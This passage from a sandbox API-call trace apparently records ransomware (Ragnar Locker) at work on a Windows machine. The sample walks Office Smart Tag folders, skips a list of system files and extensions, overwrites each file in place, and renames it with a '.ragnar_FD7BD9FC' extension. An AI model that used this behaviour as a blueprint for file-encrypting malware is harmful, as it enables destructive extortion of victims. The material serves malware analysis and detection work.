lpString2=".lnk") returned -1 [0068.366] lstrcmpiW (lpString1=".DAT", lpString2=".msi") returned -1 [0068.366] lstrcmpiW (lpString1=".DAT", lpString2=".drv") returned -1 [0068.366] lstrcmpiW (lpString1=".DAT", lpString2=".exe") returned -1 [0068.366] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat")) returned 0x20 [0068.367] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0068.367] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1e99cc | out: lpFileSize=0x1e99cc*=39017) returned 1 [0068.367] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x9860, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.367] GetProcessHeap () returned 0x580000 [0068.367] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0068.367] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1e9990, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1e9990*=0x9, lpOverlapped=0x0) returned 1 [0068.369] VirtualAlloc (lpAddress=0x0, dwSize=0x9869, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0068.369] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.369] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1e99a4 | out: lpNewFilePointer=0x0) returned 1 [0068.369] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x9869, lpNumberOfBytesRead=0x1e9984, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1e9984*=0x9869, lpOverlapped=0x0) returned 1 [0068.370] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1e9988 | out: lpNewFilePointer=0x0) returned 1 [0068.370] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x9869, nNumberOfBytesToLockHigh=0x0) returned 1 [0068.370] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x9869, lpNumberOfBytesWritten=0x1e9980, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1e9980*=0x9869, lpOverlapped=0x0) returned 1 [0068.370] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x9869, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0068.371] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0068.371] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x9869, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.371] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0068.371] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1e99b4*=0x100, lpOverlapped=0x0) returned 1 [0068.371] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1e99b4*=0x100, lpOverlapped=0x0) returned 1 [0068.371] WriteFile (in: hFile=0x104, lpBuffer=0x1e99b8*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x1e99b8*, lpNumberOfBytesWritten=0x1e99b4*=0x9, lpOverlapped=0x0) returned 1 [0068.371] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0068.371] GetProcessHeap () returned 0x580000 [0068.371] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0068.371] CloseHandle (hObject=0x104) returned 1 [0068.372] lstrcpyW (in: lpString1=0x1e9530, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT" [0068.372] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT.ragnar_FD7BD9FC" [0068.372] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0068.373] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5866b900, ftCreationTime.dwHighDateTime=0x1c29047, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5866b900, ftLastWriteTime.dwHighDateTime=0x1c29047, nFileSizeHigh=0x0, nFileSizeLow=0xa7f, dwReserved0=0x0, dwReserved1=0x0, cFileName="STOCKS.XML", cAlternateFileName="")) returned 1 [0068.373] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\*.*", nBufferLength=0x104, lpBuffer=0x1ea010, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x4b [0068.373] lstrcpyW (in: lpString1=0x1ea0a0, lpString2="STOCKS.XML" | out: lpString1="STOCKS.XML") returned="STOCKS.XML" [0068.373] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned=".XML" [0068.373] lstrcmpiW (lpString1="STOCKS.XML", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0068.373] lstrcmpiW (lpString1="STOCKS.XML", lpString2="autorun.inf") returned 1 [0068.373] lstrcmpiW (lpString1="STOCKS.XML", lpString2="boot.ini") returned 1 [0068.373] lstrcmpiW (lpString1="STOCKS.XML", lpString2="bootfont.bin") returned 1 [0068.373] lstrcmpiW (lpString1="STOCKS.XML", lpString2="bootsect.bak") returned 1 [0068.373] lstrcmpiW (lpString1="STOCKS.XML", lpString2="bootmgr") returned 1 [0068.373] lstrcmpiW (lpString1="STOCKS.XML", lpString2="bootmgr.efi") returned 1 [0068.373] lstrcmpiW (lpString1="STOCKS.XML", lpString2="bootmgfw.efi") returned 1 [0068.373] lstrcmpiW (lpString1="STOCKS.XML", lpString2="desktop.ini") returned 1 [0068.373] lstrcmpiW (lpString1="STOCKS.XML", lpString2="iconcache.db") returned 1 [0068.373] lstrcmpiW (lpString1="STOCKS.XML", lpString2="ntldr") returned 1 [0068.373] lstrcmpiW (lpString1="STOCKS.XML", lpString2="ntuser.dat") returned 1 [0068.373] lstrcmpiW (lpString1="STOCKS.XML", lpString2="ntuser.dat.log") returned 1 [0068.373] lstrcmpiW (lpString1="STOCKS.XML", lpString2="ntuser.ini") returned 1 [0068.373] lstrcmpiW (lpString1="STOCKS.XML", lpString2="thumbs.db") returned -1 [0068.373] lstrcmpiW (lpString1=".XML", lpString2=".db") returned 1 [0068.373] lstrcmpiW (lpString1=".XML", lpString2=".sys") returned 1 [0068.373] lstrcmpiW (lpString1=".XML", lpString2=".dll") returned 1 [0068.373] lstrcmpiW (lpString1=".XML", lpString2=".lnk") returned 1 [0068.373] lstrcmpiW (lpString1=".XML", lpString2=".msi") returned 1 [0068.373] lstrcmpiW (lpString1=".XML", lpString2=".drv") returned 1 [0068.373] lstrcmpiW (lpString1=".XML", lpString2=".exe") returned 1 [0068.373] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml")) returned 0x20 [0068.373] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0068.374] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1e99cc | out: lpFileSize=0x1e99cc*=2687) returned 1 [0068.374] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0xa76, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.374] GetProcessHeap () returned 0x580000 [0068.374] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0068.374] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1e9990, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1e9990*=0x9, lpOverlapped=0x0) returned 1 [0068.385] VirtualAlloc (lpAddress=0x0, dwSize=0xa7f, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0068.385] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.385] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1e99a4 | out: lpNewFilePointer=0x0) returned 1 [0068.385] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xa7f, lpNumberOfBytesRead=0x1e9984, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1e9984*=0xa7f, lpOverlapped=0x0) returned 1 [0068.386] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1e9988 | out: lpNewFilePointer=0x0) returned 1 [0068.386] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xa7f, nNumberOfBytesToLockHigh=0x0) returned 1 [0068.386] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xa7f, lpNumberOfBytesWritten=0x1e9980, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1e9980*=0xa7f, lpOverlapped=0x0) returned 1 [0068.386] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xa7f, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0068.386] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0068.386] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0xa7f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.386] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0068.386] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1e99b4*=0x100, lpOverlapped=0x0) returned 1 [0068.386] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1e99b4*=0x100, lpOverlapped=0x0) returned 1 [0068.386] WriteFile (in: hFile=0x104, lpBuffer=0x1e99b8*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x1e99b8*, lpNumberOfBytesWritten=0x1e99b4*=0x9, lpOverlapped=0x0) returned 1 [0068.386] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0068.386] GetProcessHeap () returned 0x580000 [0068.386] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0068.386] CloseHandle (hObject=0x104) returned 1 [0068.388] lstrcpyW (in: lpString1=0x1e9530, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML" [0068.388] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML.ragnar_FD7BD9FC" [0068.388] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0068.388] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36acb00, ftCreationTime.dwHighDateTime=0x1c2dd39, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x36acb00, ftLastWriteTime.dwHighDateTime=0x1c2dd39, nFileSizeHigh=0x0, nFileSizeLow=0x2174, dwReserved0=0x0, dwReserved1=0x0, cFileName="TIME.XML", cAlternateFileName="")) returned 1 [0068.388] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\*.*", nBufferLength=0x104, lpBuffer=0x1ea010, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x4b [0068.388] lstrcpyW (in: lpString1=0x1ea0a0, lpString2="TIME.XML" | out: lpString1="TIME.XML") returned="TIME.XML" [0068.388] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned=".XML" [0068.388] lstrcmpiW (lpString1="TIME.XML", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0068.389] lstrcmpiW (lpString1="TIME.XML", lpString2="autorun.inf") returned 1 [0068.389] lstrcmpiW (lpString1="TIME.XML", lpString2="boot.ini") returned 1 [0068.389] lstrcmpiW (lpString1="TIME.XML", lpString2="bootfont.bin") returned 1 [0068.389] lstrcmpiW (lpString1="TIME.XML", lpString2="bootsect.bak") returned 1 [0068.389] lstrcmpiW (lpString1="TIME.XML", lpString2="bootmgr") returned 1 [0068.389] lstrcmpiW (lpString1="TIME.XML", lpString2="bootmgr.efi") returned 1 [0068.389] lstrcmpiW (lpString1="TIME.XML", lpString2="bootmgfw.efi") returned 1 [0068.389] lstrcmpiW (lpString1="TIME.XML", lpString2="desktop.ini") returned 1 [0068.389] lstrcmpiW (lpString1="TIME.XML", lpString2="iconcache.db") returned 1 [0068.389] lstrcmpiW (lpString1="TIME.XML", lpString2="ntldr") returned 1 [0068.389] lstrcmpiW (lpString1="TIME.XML", lpString2="ntuser.dat") returned 1 [0068.389] lstrcmpiW (lpString1="TIME.XML", lpString2="ntuser.dat.log") returned 1 [0068.389] lstrcmpiW (lpString1="TIME.XML", lpString2="ntuser.ini") returned 1 [0068.389] lstrcmpiW (lpString1="TIME.XML", lpString2="thumbs.db") returned 1 [0068.389] lstrcmpiW (lpString1=".XML", lpString2=".db") returned 1 [0068.389] lstrcmpiW (lpString1=".XML", lpString2=".sys") returned 1 [0068.389] lstrcmpiW (lpString1=".XML", lpString2=".dll") returned 1 [0068.389] lstrcmpiW (lpString1=".XML", lpString2=".lnk") returned 1 [0068.389] lstrcmpiW (lpString1=".XML", lpString2=".msi") returned 1 [0068.389] lstrcmpiW (lpString1=".XML", lpString2=".drv") returned 1 [0068.389] lstrcmpiW (lpString1=".XML", lpString2=".exe") returned 1 [0068.389] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml")) returned 0x20 [0068.389] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0068.389] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1e99cc | out: lpFileSize=0x1e99cc*=8564) returned 1 [0068.389] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x216b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.389] GetProcessHeap () returned 0x580000 [0068.389] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0068.390] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1e9990, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1e9990*=0x9, lpOverlapped=0x0) returned 1 [0068.391] VirtualAlloc (lpAddress=0x0, dwSize=0x2174, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0068.391] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.391] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1e99a4 | out: lpNewFilePointer=0x0) returned 1 [0068.391] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2174, lpNumberOfBytesRead=0x1e9984, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1e9984*=0x2174, lpOverlapped=0x0) returned 1 [0068.393] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1e9988 | out: lpNewFilePointer=0x0) returned 1 [0068.393] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2174, nNumberOfBytesToLockHigh=0x0) returned 1 [0068.393] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2174, lpNumberOfBytesWritten=0x1e9980, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1e9980*=0x2174, lpOverlapped=0x0) returned 1 [0068.393] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2174, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0068.393] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0068.393] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x2174, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.393] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0068.394] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1e99b4*=0x100, lpOverlapped=0x0) returned 1 [0068.394] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1e99b4*=0x100, lpOverlapped=0x0) returned 1 [0068.394] WriteFile (in: hFile=0x104, lpBuffer=0x1e99b8*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x1e99b8*, lpNumberOfBytesWritten=0x1e99b4*=0x9, lpOverlapped=0x0) returned 1 [0068.394] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0068.394] GetProcessHeap () returned 0x580000 [0068.394] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0068.394] CloseHandle (hObject=0x104) returned 1 [0068.395] lstrcpyW (in: lpString1=0x1e9530, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML" [0068.395] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML.ragnar_FD7BD9FC" [0068.395] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0068.395] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36acb00, ftCreationTime.dwHighDateTime=0x1c2dd39, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x36acb00, ftLastWriteTime.dwHighDateTime=0x1c2dd39, nFileSizeHigh=0x0, nFileSizeLow=0x2174, dwReserved0=0x0, dwReserved1=0x0, cFileName="TIME.XML", cAlternateFileName="")) returned 0 [0068.395] FindClose (in: hFindFile=0x5a13a8 | out: hFindFile=0x5a13a8) returned 1 [0068.395] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11f34c00, ftCreationTime.dwHighDateTime=0x1c62260, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x11f34c00, ftLastWriteTime.dwHighDateTime=0x1c62260, nFileSizeHigh=0x0, nFileSizeLow=0x377ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="BASMLA.XSL", cAlternateFileName="")) returned 1 [0068.395] lstrcmpiW (lpString1="BASMLA.XSL", lpString2=".") returned 1 [0068.395] lstrcmpiW (lpString1="BASMLA.XSL", lpString2="..") returned 1 [0068.395] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ac627e0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7ac627e0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0068.395] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0068.395] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0068.395] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ac627e0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7ac627e0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0068.395] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0068.396] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x7ac627e0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7ac627e0, 